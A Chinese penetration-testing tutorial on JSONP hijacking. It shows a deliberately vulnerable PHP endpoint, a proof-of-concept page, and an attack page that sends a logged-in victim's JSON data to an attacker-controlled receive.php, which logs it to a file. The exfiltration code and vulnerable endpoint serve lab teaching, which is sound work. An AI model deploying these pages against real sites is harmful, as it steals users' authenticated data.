101.网络安全渗透测试—[常规漏洞挖掘与利用篇17]—[json劫持漏洞与测试]

我认为,无论是学习安全还是从事安全的人,多多少少都有些许的情怀和使命感!!!

文章目录

    • 一、json劫持漏洞概念
      • (1)json劫持概念
      • (2)json劫持攻击
    • 二、json劫持漏洞测试
      • (1)json劫持漏洞测试流程与方法
      • (2)json漏洞页面源码:`json.php`
      • (3)测试json.php是否存在漏洞:`json-poc.html`
      • (4)劫持json数据,发送给远程服务器

一、json劫持漏洞概念

(1)json劫持概念

           JSON是一种轻量级的数据交换格式,而劫持就是对数据进行窃取(或者应该称为打劫、拦截比较合适。恶意攻击者通过某些特定的手段,将本应该返回给用户的JSON数据进行拦截,转而将数据发送回给恶意攻击者,这就是JSON劫持的大概含义。一般来说进行劫持的JSON数据都是包含敏感信息或者有价值的数据。

(2)json劫持攻击

           攻击方法与csrf类似,都是需要用户登录帐号,在身份认证还没有被消除的情况下访问攻击者精心设计好的的页面。就会获取json数据,把json数据发送给攻击者的远程WEB服务器上。

二、json劫持漏洞测试

(1)json劫持漏洞测试流程与方法

           找到存在json漏洞类型的页面,攻击者的远程WEB服务器上写好攻击页面,诱导目标访问该页面,从而获取受害者的json数据。

(2)json漏洞页面源码:json.php


	header('Content-type: application/json');
	$callback = $_GET['callback'];
	print $callback.'({"id" : "1","name" : "qwsn","email":"[email protected]"});';
	//这里做了简化,这里的print应该是在登录后,才会显示的一些json数据!!!
?>

如下图所示,http://www.webtester.com/json.php页面就是我们靶机上的json漏洞页面
101.网络安全渗透测试—[常规漏洞挖掘与利用篇17]—[json劫持漏洞与测试]_第1张图片

(3)测试json.php是否存在漏洞:json-poc.html

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>jsonp劫持</title>
    <script src="http://apps.bdimg.com/libs/jquery/1.10.2/jquery.min.js"></script>
</head>
<body>
	<script>function jsonp2(data){alert(JSON.stringify(data));}</script>
	<script src="http://www.webtester.com/json.php?callback=jsonp2"></script>
	<!--这里的src是靶机的json漏洞页面-->
</body>
</html>

如下图所示,我们本地访问json-poc.html后,成功弹出了json.php页面的json数据,因此存在漏洞!!!

101.网络安全渗透测试—[常规漏洞挖掘与利用篇17]—[json劫持漏洞与测试]_第2张图片

(4)劫持json数据,发送给远程服务器

第一步: 攻击者的远程服务器上准备好receive.php,用来接收发送来的json数据,并保存到当前目录下的json.txt内。


	if($_GET['file']){
		file_put_contents('json.txt',$_GET['file'])
	}
?>

第二步: 准备好json-attack.html页面,模拟受害者点击该页面,那么json.php页面的json数据就会发送给攻击者远程服务器上的receive.php(在受害者已认证对json.php认证后,由以上的源码分析,我们可以知道这里我们没有做认证,直接把json数据打印了出来),receive.php又把接收来的数据保存到json.txt内。

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8">
		<title></title>
		
		<script src="http://apps.bdimg.com/libs/jquery/1.10.2/jquery.min.js"></script>
		<script>
			function test(data){
			    //alert(v.name);
			    var xmlhttp = new XMLHttpRequest();
			    var url = "http://www.exploit.cool/exp/json/receive.php?file=" + JSON.stringify(data);
			    //url的内容是攻击者的远程WEB服务器上的receive.php
				//其功能是当受害者访问了当前页面时,就会把json内容发送给攻击者的receive.php
			    xmlhttp.open("GET",url,true);
			    xmlhttp.send();
			    }
		</script>
		<script src="http://www.webtester.com/json.php?callback=test"></script>
		<!--src的内容是靶机的json漏洞页面-->
	</head>
	
	<body>
	</body>
</html>

如下图所示,受害者访问了含有攻击代码的json-attack.html页面,紧接着攻击者的远程服务器就接收到了json.php漏洞页面的json数据。
101.网络安全渗透测试—[常规漏洞挖掘与利用篇17]—[json劫持漏洞与测试]_第3张图片
在这里插入图片描述

你可能感兴趣的:(#)